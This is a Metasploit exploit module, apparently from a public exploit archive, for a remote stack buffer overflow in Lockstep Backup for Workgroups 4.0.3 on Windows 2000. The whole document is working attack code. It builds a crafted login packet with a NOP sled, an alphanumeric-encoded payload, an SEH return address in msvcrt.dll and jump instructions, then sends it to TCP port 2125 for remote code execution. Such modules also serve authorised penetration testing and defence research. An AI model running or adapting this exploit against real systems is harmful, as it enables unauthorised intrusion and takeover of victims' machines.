Lockstep Backup for Workgroups 4.0.3 – Remote Buffer Overflow (Metasploit)
require 'msf/core' class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::Remote::Tcp include Msf::Exploit::Remote::Seh def initialize(info = {}) super(update_info(info, 'Name' => 'Lockstep Backup for Workgroups <= 4.0.3', 'Description' => %q{ This module exploits a stack buffer overflow found in Lockstep Backup for Workgroups <= 4.0.3. The vulnerability is triggered when sending a specially crafted packet that will cause a login failure. }, 'Author' => [ 'james fitts' ], 'License' => MSF_LICENSE, 'Version' => '$Revision: $', 'References' => [ [ 'URL', 'http://secunia.com/advisories/50260/' ] ], 'DefaultOptions' => { 'EXITFUNC' => 'thread', }, 'Privileged' => true, 'Payload' => { 'Space' => 1000, 'BadChars' => "\x00", 'PrependEncoder' => "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff", 'EncoderType' => Msf::Encoder::Type::AlphanumUpper, 'EncoderOptions' => { 'BufferRegister' => 'ECX', }, }, 'Platform' => 'win', 'Targets' => [ [ 'Windows 2000 ALL EN', { # msvcrt.dll # pop ecx/ pop ecx/ retn 'Ret' => 0x780146c0, } ], ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Feb 11 2013')) register_options( [ Opt::RPORT(2125), OptString.new('USERNAME', [ true, 'Username of victim', 'msf' ]) ], self.class ) end def exploit connect uname = datastore['USERNAME'] p = "\x90" * 16 p << payload.encoded packet = rand_text_alpha_upper(10000) packet[0, 8] = "BFWCA\x01\x01\x00" packet[8, uname.length] = "#{uname}\x00" packet[73, p.length] = p packet[7197, 4] = "\xeb\x06\x90\x90" # jmp $+8 packet[7201, 4] = [target.ret].pack('V') packet[7205, 8] = "\x90" * 8 packet[7213, 2] = "\xff\xe7" # jmp edi print_status("Trying target %s..." % target.name) sock.put(packet) handler disconnect end end |